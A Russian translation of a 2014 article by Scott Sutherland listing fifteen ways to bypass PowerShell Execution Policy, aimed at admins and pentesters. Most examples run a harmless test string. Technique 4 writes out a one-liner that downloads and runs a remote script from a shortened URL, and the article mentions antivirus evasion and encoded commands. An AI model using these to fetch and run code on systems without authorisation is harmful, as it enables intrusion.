31.10.2014

15 способов обхода PowerShell Execution Policy

image

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.

Автор: Scott Sutherland

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора. Полагаю, что есть техники, которые не будут упомянуты из-за моей забывчивости или элементарного незнания, однако, надеюсь, нижеприведенный список будет хорошим стартом для тех, кто нуждается в нем.

Что такое PowerShell Execution Policy?

Execution policy определяет, какие типы скриптов могут быть запущены (если вообще могут) в системе. По умолчанию значение параметра выставлено как «Restricted», что запрещает запуск любых скриптов. Однако следует понимать, что настройка Execution Policy никогда не относилась к управлению безопасностью, а служила лишь для того, чтобы администраторы случайно не могли вывести систему из строя. Именно поэтому существует множество техник, чтобы обойти эти настройки, включая некоторые, предоставленные компанией Microsoft. Более подробно о Execution Policy и других настройках безопасности в PowerShell рекомендую почитать блог Карлоса Переса.

Зачем нужно обходить Execution Policy?

Кажется, один из наиболее распространенных ответов на вопрос, обозначенный в заголовке, - автоматизация процессов. Однако есть и другие причины, по которым PowerShell стал популярным среди администраторов, пентестеров и хакеров. PowerShell:

  • Встроен в Window.
  • Может вызывать Windows API.
  • Может запускать команды без записи на диск.
  • Может избегать обнаружения антивирусами.
  • Уже помечен как «достоверный» и находится в большинстве белых списков.
  • Используется при написании многих утилит безопасности с открытым исходным кодом.

Как посмотреть настройки Execution Policy

Перед началом использования всех возможностей PowerShell, потребуется обойти запрет на запуск скриптов. Текущие настройки можно получить, выполнив команду «Get-ExectionPolicy». Если запрет выставлен, то при запуске команды появится следующее сообщение:

PS C:\> Get-ExecutionPolicy

Рисунок 1: Результат выполнения команды в системе, где установлен запрет на запуск скриптов

Важно отметить, что Execution Policy может устанавливаться на различных уровнях системы. Чтобы посмотреть список уровней, используйте команду ниже (за более подробной информацией обращайтесь к соответствующей странице TechNet).

Get-ExecutionPolicy -List | Format-Table –AutoSize

Рисунок 2: Настройки Execution Policy на различных системных уровнях

Настройка тестовой среды

В примерах ниже я буду использовать скрипт с именем runme.ps, содержащий следующую команду для вывода сообщения в консоль:

Write-Host "My voice is my passport, verify me."

При запуске скрипта в системе со стандартными настройками Execution Policy выводится следующая ошибка:

Рисунок 3: Ошибка, выводимая при запуске тестового скрипта в среде, где настрое запрет на запуск скриптов

Если ваша текущая политика разрешает запуск скриптов, поставить запрет (в целях тестирования) можно при помощи команды Set-ExecutionPolicy Restricted, запущенной из консоли администратора PowerShell. Ну, хорошо, достаточно пустой болтовни. Перейдем непосредственно к методам обхода запрета, установленного в Execution Policy.

1. Копирование скрипта непосредственно в интерактивную консоль PowerShell

Скопируйте и вставьте скрипт в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями текущего пользователя. Метод наиболее часто используется для запуска простых скриптов, когда у вас есть доступ к интерактивной консоли. Кроме того, эта техника не влечет за собой изменения настроек и не требует записи на диск.

Рисунок 4: Запуск скрипта при помощи копирования в интерактивную консоль

2. Отправка содержимого скрипта в стандартный поток ввода PowerShell

Просто отправьте содержимое скрипта в стандартный поток ввода. Техника не влечет за собой изменения настроек и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

Рисунок 5: Вывод содержимого скрипта в стандартный поток ввода

3. Чтение скрипта из файла и перенаправление содержимого в стандартный поток ввода PowerShell

Используйте стандартную команду «type» или PowerShell команду «Get-Content» для чтения содержимого скрипта с диска и перенаправьте полученный результат в стандартный поток ввода. Техника не влечет за собой изменения настроек, однако требует записи на диск. Чтобы избежать записи на диск, можно использовать сетевой общий ресурс (network share).

Пример 1: Использование PowerShell команды Get-Content

Get-Content .\runme.ps1 | PowerShell.exe -noprofile -

Рисунок 6: Использование команды Get-Content

Пример 2: Использование команды Type

TYPE .\runme.ps1 | PowerShell.exe -noprofile -

Рисунок 7: Использование команды Type

4. Загрузка скрипта из сети и запуск при помощи Invoke Expression

Технику можно использовать для загрузки скрипта из интернета и запуска без записи на диск. Также не будут изменены никакие настройки. Я видел много способов запуска скриптов подобным образом, но недавно наткнулся на следующий пример:

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

Рисунок 8: Загрузка скрипта из интернета и запуск при помощи Invoke Expression

5. Использование параметра Command

Техника схожа с примером через копирование и вставку, но может быть использована без интерактивной консоли. Метод прекрасно подходит для простых скриптов, но запуск более сложных скриптов, обычно, оканчивается ошибками. Техника не влечет за собой изменения настроек и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Рисунок 9: Запуск скрипта при помощи полной версии параметра

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Можно объединить вышеуказанные команды в пакетные файлы и поместить их в автозагрузку для увеличения уровня привилегий.

6. Использование параметра EncodeCommand

Метод схож с предыдущей техникой, но здесь все скрипты закодированы в строку Unicode. Кодирование скрипта позволяет избежать ошибок, возникающих при использовании параметра «Command». Техника не влечет за собой изменения настроек и не требует записи на диск. Пример ниже взят из Posh-SecMod. Та же утилита содержит хороший метод для уменьшения размера закодированных команд.

Пример 1: Полный вариант

$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

Рисунок 10: Полный вариант команды

Пример 2: Сокращенный параметр

powershell.exe -Enc
VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAA
aQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Использование команды Invoke-Command

Техника, найденная мной в блоге Obscuresec, используется через интерактивную консоль или в сочетании с параметром «Command». Главная особенность метода в том, что его можно использовать для запуска команд на удаленных системах, где разрешен запуск скриптов PowerShell. Техника не влечет за собой изменения настроек и не требует записи на диск.

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

Рисунок 11: Использование команды Invoke-Command

Команда ниже, созданная по мотивам блога Obscuresec, может использоваться для переноса настроек execution policy с удаленной машины на локальную.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Использование команды Invoke-Expression

Как и в предыдущем случае, техника используется через интерактивную консоль или в сочетании с параметром «Command». Метод не влечет за собой изменения настроек и не требует записи на диск. Ниже показано несколько наиболее распространенных способов использования команды Invoke-Expression для обхода execution policy.

Пример 1: Полная версия команды Get-Content

Get-Content .\runme.ps1 | Invoke-Expression

Рисунок 12: Полный вариант команды Get-Content

Пример 2: Сокращенный вариант Get-Content

GC .\runme.ps1 | iex

9. Использование флага Bypass

Флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использование этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

Рисунок 13: Использование флага Bypass

10. Использование флага Unrestricted

Техника схожа с предыдущей. Хотя, при использовании флага Unrestricted Microsoft заявляет, что «загружаются все конфигурационные файла и запускаются все скрипты. Если вы запустите неподписанный скрипт, загруженные из интернета, появится сообщение с вопросом о подтверждении запуска». Метод не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

Рисунок 14: Использование флага Unrestricted

11. Использование флага Remote-Signed

Создайте скрипт. Затем подпишите его, используя руководство, написанное Карлосом Пересом. Теперь запустите скрипт, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1

12. Запрет ExecutionPolicy путем выгрузки Authorization Manager

С этой техникой я столкнулся на сайте http://www.nivot.org. Функцию, указанную ниже, можно запустить через интерактивную консоль или в сочетании с параметром «command». После запуска будет в поле AuthorizationManager будет установлено значение null, в результате чего остаток сессии у execution policy будет статус unrestricted. Техника не влечет за собой постоянного изменения в настройках и не требует записи на диск. Хотя, в текущей сессии изменения будут.

function Disable-ExecutionPolicy {($ctx =
$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(
$executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").
setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}

Disable-ExecutionPolicy

.\runme.ps1

Рисунок 15: Отключение Authorization Manager в текущей сессии

13. Установка Excution Policy для уровня Process

В начале статьи было сказано, что execution policy может быть применена к различным уровням (включая уровень process, на которым у вас есть контроль). Используя эту технику, execution policy может быть установлена в статус unrestricted во время сессии. Кроме того, метод не влечет за собой изменения в настройках и не требует записи на диск. Я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Рисунок 16: Установка статуса Unrestricted для уровня Process

14. Установка статуса Unrestricted для уровня CurrentUser при помощи команды

Техника схожа с предыдущей, но здесь изменяются установки среды текущего пользователя путем модификации ключа в реестре. Метод не влечет за собой изменения настроек и не требует записи на диск. Техника также была найдена в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Рисунок 17: Установка статуса Unrestricted для уровня CurrentUser

15. Установка статуса Unrestricted для уровня CurrentUser через реестр

В этом примере я покажу, как выставлять постоянные настройки execution policy для текущего пользователя путем модификации ключа реестра напрямую.

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

Рисунок 18: Выставление статуса для execution policy через реестр

Заключение

Статья была написана с той целью, чтобы запреты execution policy не были препятствием для разработчиков, администраторов и пентестеров. Microsoft никогда не пыталась сделать безопасным PowerShell, именно поэтому столь много техник для обхода запретов. Компания Microsoft предоставила несколько полезных встроенных инструментов, а сообщество специалистов по безопасности продемонстрировало несколько интересных трюков. Спасибо всем, кто внес свой вклад в развитие темы обхода запуска скриптов путем написания статей в блогах и презентаций. Всем остальным желаю удачи при использовании PowerShell, и не забывайте об ответственности за свои действия ;).

Ссылки:

  • http://blogs.msdn.com/b/powershell/archive/2008/09/30/powershell-s-security-guiding-principles.aspx
  • http://obscuresecurity.blogspot.com/2011/08/powershell-executionpolicy.html
  • http://roo7break.co.uk/?page_id=611
  • http://technet.microsoft.com/en-us/library/hh849694.aspx
  • http://technet.microsoft.com/en-us/library/hh849812.aspx
  • http://technet.microsoft.com/en-us/library/hh849893.aspx
  • http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
  • http://www.hanselman.com/blog/SigningPowerShellScripts.aspx
  • http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
  • http://www.nivot.org/blog/post/2012/02/10/Bypassing-Restricted-Execution-Policy-in-Code-or-in-Scriptfrom
  • http://www.powershellmagazine.com/2014/07/08/powersploit/